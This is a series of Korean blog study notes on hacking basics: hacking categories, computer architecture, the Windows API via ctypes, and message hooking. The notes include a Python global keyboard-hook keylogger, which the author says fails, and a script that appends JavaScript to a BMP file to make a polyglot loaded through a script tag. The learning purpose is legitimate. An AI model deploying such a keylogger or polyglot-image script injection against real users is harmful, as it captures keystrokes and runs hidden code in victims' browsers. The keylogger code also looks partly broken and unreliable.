728x90

이미지 해킹

- 이미지 파일에 스크립트 추가하여 해킹 도구를 활용 가능

- 비트맵 파일에 js 삽입해보자

 

비트맵 파일

- 구성 : 매직 넘버, 데이터

- 매직 넘버 : 첫 2바이트, 비트맵 파일임을 식별

- 다음 4바이트 : 비트맵 파일 크기 표기

https://ko.wikipedia.org/wiki/BMP_%ED%8C%8C%EC%9D%BC_%ED%8F%AC%EB%A7%B7

 

 

 

비트맵에 삽입할 스크립트 작성

- 브라우저의 쿠키를 저장하고 알람 창으로 출력하는 스크립트

name = 'id';
value = 'Mammamia';

var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7); //쿠키 유효기간
document.cookie = name + "=" + escape(value) + "; path=/expires="
    + todayDate.toGMTString() + ""; //쿠키 생성
alert(document.cookie)

 

비트맵 파일에 스크립트 추가하는 코드

- 매직파일 뒤 데이터 부분은 주석

- 주석처리된 데이터 영역 이후로 js코드 삽입

# -*- coding: utf-8 -*- 
fname = "windows/hello.bmp"

pfile = open(fname, "r+b")
buff = pfile.read()
# *와 /를 공백으로 리플레이스
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()


pfile = open(fname,"w+b")
pfile.write(buff)
#커서를 앞에서 2바이트 뒤로 이동 -> 매직넘버 바로뒤
pfile.seek(2,0)
#주석문 샆입 /*   \x2F -> /,   \x2A -> *
pfile.write(b'\x2F\x2A')
pfile.close()


pfile = open(fname, "a+b") #append binary mode
#fname 파일 맨 뒤에 주석문 닫는 */추가 -> 비트맵의 데이터 영역 전체가 주석처리
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
#주석 처리된 데이터 영역 뒤에 js 코드 삽입
pfile.write(open('windows/2_hello.js','rb').read())
pfile.close()

 

 

비트맵 파일 hello.bmp

- 이미지

 

 

바이너리 에디터로 본 비트맵

- 첫 2비트는 매직 비트로 42, 4D = BM -> 비트맵 파일 의미

 

 

이미지 해킹 후 바이너리 에디터

- 매직넘버뒤에 주석문 /* 추가

- 맨 바닥에 주석 닫고 */

- js 코드 삽입됨

 

 

 

 

hello.bmp를 열고, 스크립트 동작하는 html 코드 작성

<img src="hello.bmp"/>
<script src="hello.bmp"></script>

 

- 이미지에 삽입한 js코드를 이용해 alert 띄우는건 성공했다.

- 오타때문인지 내용은 안뜨지만

 

 

- 개발자 도구로도 이미지 맨 끝에 js 코드가 추가된것을 확인할 수 있다.

 => 정상적인 이미지에 이런식으로 코드 삽입이 가능하다.

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

키보드 후킹하는 코드를 작성했는데

 

setwindowshookex()함수에서 에러가 발생하는듯 하다

 

원인은 모르겠지만

 

안돌아가는걸 그냥 버리자니 아깝고 업로드

 

 

 

# -*- coding: utf-8 -*- 
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


# windll로 user32.dll, kernel32.dll을 가져옴
user32 = windll.user32
kernel32 = windll.kernel32

# 사용되는 변수
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162

#class definition
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #훅 설정 정의. 모니터링 이벤트는 WH_KEYBOARD_LL, 범위는 전역
    def installHookProc(self, pointer):
        # 훅타입, 훅프로시저, dll 핸들, 후킹할 스레드 아이디(전역 -> 0)
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        print self.hooked
        if not self.hooked:
            return False
        return True
    
    # release hook resource
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

# setwindowshookexa() 함수에서 필요한 프로시저 인자와 타입 지정. 함수 포인터
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#메시지 종류가 WM_KEYDOWN이면 화면에 출력. CTRL이면 훅 제거
# wParam : virtual key code, lparam : extral info
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print hookedKey
    if (CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed. call uninstallHook()"
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

# GetMessageA()함수로 큐 모니터링. 메시지오면 훅 체인으로 전달
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

#키로거 생성
KeyLogger = KeyLogger()
#훅 프로시저 함수포인터 획득
pointer = getFPTR(hookProc)
#키로거로 훅 프로세서 생성
if KeyLogger.installHookProc(pointer):
    print "installed keyLogger"
startKeyLog()

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

프로시저, 콜백 함수

- 기능 동작시에 호출할 함수 혹은 동작들?

 

훅 hook

- 메시지, 마우스 클릭, 키 입력 등 이벤트를 가로체는 기능

- OS는 훅 체인으로 리스트 관리

- 훅 관련 기능 동작들을 훅 프로시저

 

 

훅 체인

- 훅 프로시저 포인터들 목록

 

훅의 종류

- 전역 훅 : OS 전반에 훅 설정

- 지역 훅 : 특정 스레드에서만 훅 설정

 

 

키보드 후킹 처리 과정

1. 훅 설정 : user32.dll-SetWindowsHookExA()로 훅 설정과 프로시저 등록

2. 훅 체인 등록 : 훅 체인 맨 앞에 훅 프로시저 포인터 등록

3. 키보드 입력 : 사용자가 키 입력시 키보드 컨트롤러가 신호 변환해서 키보드 드라이버로 전달

4. 시스템 큐 : 키보드 메시지가 시스템 큐로 입력

5. 스레드 큐 : 시스템 큐로부터 메시지 전달받음. 

6. 메시지 후킹 : 스레드 큐로부터 메시지가 훅 프로시저로 전달

7. 훅 프로시저 : 지정 동작 수행

8. 훅 체인 포인터 : 메시지 처리 후 윈도우로 전달

 

 

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
728x90

윈도우 API

- 윈도우 어플리케이션 개발시 사용하는 API

- 이 API로 OS에서 제공하는 기능 사용

- Win32 : 32비트 윈도우 API

 

 

일반적인 윈도우 API

- 동적 라이브러리 DLL로 제공

- 다양한 언어에서 호출하여 사용 가능

종류 특징
 kernel32.dll 파일 시스템, 디바이스, 프로세스 등 기본 리소스 접근 기능
user32.dll ui 지원, 윈도우 창 생성 관리, 화면 및 메시지 표현
gdi32.dll 모니터 등 출력장치 관리 지원
comdig32.dll 파일 입출력 및 표준 대화 창 관리
comctl32.dll 상태 바, 진행 바 등 응용프로그램 등 접근 지원
shell32.dll 쉘 기능 접근 지원
netapi32.dll 다양한 통신 기능을 응용프로그램에서 쓸수있도록 지원
advapi32.dll 레지스트리, 윈도우 서비스 시작 종료, 계정 관리 등 

 

ctypes

- 파이썬으로 ctypes를 이용하여 DLL과 C언어 변수 사용 가능

ctypes 기능 설명
DLL 로드 windll.kernel32, windll.user32
API 호출 windll.user32. SetWindowsHookExA
함수 인자 자료형 지정 printf = libc.printf
print.argtypes = [c_char_p, c_int, c_double]
printf("String %s, int %d, bouble %f\n", "hello", 1, 3.14) 
함수 반환값 타입 지정 libc.strchr.restype = c_char_p
자료형 예시 i = c_int(42)
pi = POINTER(c_int)
포인터 전달 f = c_float()
s = create_string_buffer("\000" *32)
windll.msvcrt.sscanf("1 3.14 wow", "%f %s", byref(f), s)
콜백 함수 선언 def py_cmp_func(a, b):
    print "py_cmp_func", a, b
    return 0

CMPFUNC = CFUNCTYPE(c_int, POINTER(c_int), POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
windll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)
구조체 선언 class POINT(Structure):
    _fileds_ = [("x", c_int), ("y", c_int)]

point = POINT(10, 20)

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
728x90

컴퓨터 구조의 필요성

-OS, 어플리케이션 등을 알기 위해서 컴퓨터의 구조와 동작 과정에 대해 먼저 학습이 필요함.

- 특히 키 로거를 구현하기 위해서 입출력 장치에 대해서 이해 필요

 

 

컴퓨터 구조

- CPU : 명령어를 해석하여 제어 신호를 주변 장치에 전달

- 메모리 : 데이터 저장

- 주변 장치 : 입력 장치로 키보드와 마우스, 출력 장치로 모니터와 프린터, 기능 확장을 위한 네트워크/그래픽카드

- 버스 : CPU가 메모리, 주변장치 간 데이터 전송을 위한 통로

 

 

CPU

- ALU Arithmetic Lo : 산술 논리연산 수행

- CU Control Unit : 기억장치로부터 받은 명령어를 해석하여 제어 신호를 보내는 유닛

- 레지스터 : 고속 데이터 저장 장소. 해킹시 레지스터 값 변화를 주시해야함 

- 버스 인터페이스

 

 

메모리

- 프로세서가 수행되는 공간으로 메모리 상의 값을 조작 함

- 논리적 메모리 구조 : 힙, 스택, 코드, 데이터

- ROM, RAM이 존재 

 

 

 

운영체제

- SW, HW를 제어하는 프로그램

- 개발자는 OS가 제공하는 API만 알면 됨

- SW 기능 : 프로세스 생성, 소멸, 동기화, 스케출링 수행, 파일 시스템 관리

- HW 기능 : 주변장치와 CPU, 센서 관리

 

 

프로세스

- OS의 제어를 받는 프로그램의 실행 단위 -> PCB Process Control Block으로 표현

 * PCB 자료구조 구성 : PID, Process Status, Counter, Register, 스케줄링 정보 등

- API 후킹, DLL 인잭션을 하기 위해서 프로세스 동작 이해 필요

 

 

프로세스와 메모리, 해킹

- 프로세스는 데이터를 메모리에 적재하여 수행.

- 메모리에 적재되는 데이터 종류 : 주소, 변수, 객체, 반환값

- 해킹과 메모리 : 소스 코드 인젝션, 버퍼 오버플로우 등은 메모리의 데이터를 변경하여 수행

 

 

논리적인 메모리 구조

- 코드 영역 : 실행 파일들을 이루는 명령어들이 적재되는 공간 -> 함수, 제어문, 상수 등

- 데이터 영역 : 전역 변수, 정적 변수, 구조체 등 적재

- 힙 영역 : 프로세스가 임의로 할당하는 공간(동적 할당). ex) malloc 사용하는 경우

- 스택 영역 : 지역 변수, 함수 호출 정보 저장 공간

 

 

 

네트워크 관련 용어

- 식별자 : 컴퓨터를 구분하기 위한 수단으로 MAC, IP

- 프로토콜 : 데이터를 전송하기 위한 규칙으로 주소, 포트번호 등 정보의 모음을 하나의 프로토콜이라 할 수 있음.

- 라우팅 : 데이터를 빠르게 전송할수 있는 경로를 찾는 기능

 

 

 

OSI 7계층

- Open System Interconnection

- 서로 다른 장치/시스템간에 통신을 수행할수 있도록 하는 표준 모델

- 상위에서 하위 층으로 내려갈때 헤더와 테일이 추가됨

7. 응용계층 : 프로그램에 서비스, API 제공(ex. FTP)

6. 표현 계층 : 데이터 표현 방식을 규정(ex. JPEG, ASCII, UTF-8)

5. 세션 계층 : 데이터를 전송하기 위한 프로세스간 가상의 통신 경로

4. 전송 계층 : 시스템간 연결이 확립되면 데이터를 전송하기 위한 정의(ex. TCP, UDP) 

3. 네트워크 계층 : 서로 다른 시스템이 통신하기 위한 최적의 경로 선정(ex. 라우터, IP, ICMP)

2. 데이터 링크 계층 : 논리적인 연결 정의 (ex. 이더넷, HDLC)

1. 물리 계층 : 물리적인 연결을 정의(ex. 리피터, 허브)

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 2. 해킹 종류  (1) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
Iot 보안  (0) 2020.07.25
728x90

해킹의 종류

- 네트워크 해킹 : 패킷 훔쳐보기나 DOS 공격

- 어플리케이션 해킹 : 악의적 라이브러리 주입

- 웹 해킹 : 웹의 취약점 악용

- 시스템 해킹 : 커널 영역에서 데이터나 루트 권한 취득

 

 

웹해킹

- 가장 흔한 해킹 분야

- 웹의 구성 요소 : 브라우저, 웹서버, DB

- XSS Cross-Site Scripting : 게시글에 악의적 스크립트 삽입하여 정보 추출

- 피싱 phishing : 비슷한 웹사이트를 만들어 정보 취득

- CSRF Cross Site Request Forgery : XSS와 동일하게 악의적 스크립트 삽입. 웹서버 공격

- 파밍 Pharming : DNS를 해킹하여 위장 사이트를 보내는 기술

- SQL 인젝션 : 로그인시 입력 박스의 데이터는 SQL로 조회. 이를 악용.

- 웹 셸 : 파일 업로드를 악용하여 악의적인 파일을 업로드.

 

 

 

 

시스템 해킹

- 컴퓨터 시스템에 들어가 데이터나 권한 등을 탈취하는 행위

- 컴퓨터 시스템의 구성 요소 : HW, OS, 프로세스 -> 서로 인터페이스를 통해 정보를 주고받음. 그 사이를 침투

- 백도어 : 해커가 타인의 PC를 제어하도록하는 프로그램

- 레지스트리 공격 : 레지스트리를 조작하여 비밀번호 초기화, 방화벽 변경 등 공격 수행

- 버퍼 오버플로 buffer overflow : 잘못된 데이터를 입력하여 메모리에 해커가 원하는 데이터를 넣고 실행하는 공격.

- 루트킷 : 루트 권한 획득, 백도어, 위장 등 기능을 가진 프로그램

 

 

 

 

네트워크 해킹

- TCP/IP 프로토콜의 취약점을 악용하는 행위

- 포트 스캐닝 : 서버나 컴퓨터가 열린 포트를 찾는 방법

- 세션 하이재킹 : 세션에 존재하는 정보를 탈취하는 행위

- DoS Denial of Service : 대량의 패킷을 전송하여 서비스 거부를 일으켜 동작 못하게 만드는 기술

- 패킷 스니핑 : 동일한 네트워크에 이동하는 패킷을 훔쳐보기

- 스푸핑 spoofing : PC의 ARP 캐시 테이블을 조작하여 해커에게 정보를 전달하게 만드는 행위

 

 

 

 

어플리케이션 해킹

- 프로그래밍 언어로 만든 SW의 취약점에 접근하여 악용하는 행위

- 메시지 후킹 : 키로거의 경우 키보드 입력 메시지를 가로챔

- DLL 인젝션 : 악의적인 DLL을 어플리케이션에 삽입

- 코드 인젝션 : DLL 대신 악의적인 쉘 코드 삽입

- API 후킹 : 디버깅 프로세스에서 악의적인 코드 삽입

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
Iot 보안  (0) 2020.07.25
네트워크 - 9 전송 계층 프로토콜  (0) 2020.05.18
728x90

해커와 크래커

- 해킹 : 네트워크와 컴퓨터 내부를 돌아다니는 행위

- 크래커 : 악의적인 해킹을 하는 해커

- 화이트 해커 : 크래커로부터 시스템을 보호하는 해커

 

 

해커의 일

- 취약점 점검 : 포트 스캐닝 등 다양한 기법으로 SW, Network, HW 취약점 점검

- 포렌식 : 범죄 증거 찾는 일

- 보안 관제 : 대규모 시스템 관리

- 침투 테스트 : 보호 되어야 하는 네트워크로 접근 가능한지 확인하는 행위

 

 

해킹의 종류

- 네트워크 해킹 : 열린 포트를 찾거나 패킷을 수집 분석(스니핑), 서버로 위장하여 공격(스푸핑)

- 어플리케이션 해킹 : 임의의 라이브러리나 소스 삽입, 키보드 입력 가로채기

- 웹 해킹 : 웹 크롤러, 입력 박스에 오류코드 주입(SQL 인젝션), HTTP 패킷 수정하여 악의적 파일 업로드

- 시스템 해킹 : 해커가 PC를 제어가능한 백도어 작성, 레지스트리 검색 및 수정 등

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
Iot 보안  (0) 2020.07.25
네트워크 - 9 전송 계층 프로토콜  (0) 2020.05.18
네트워크 - 8 라우팅 프로토콜 2  (0) 2020.05.18

+ Recent posts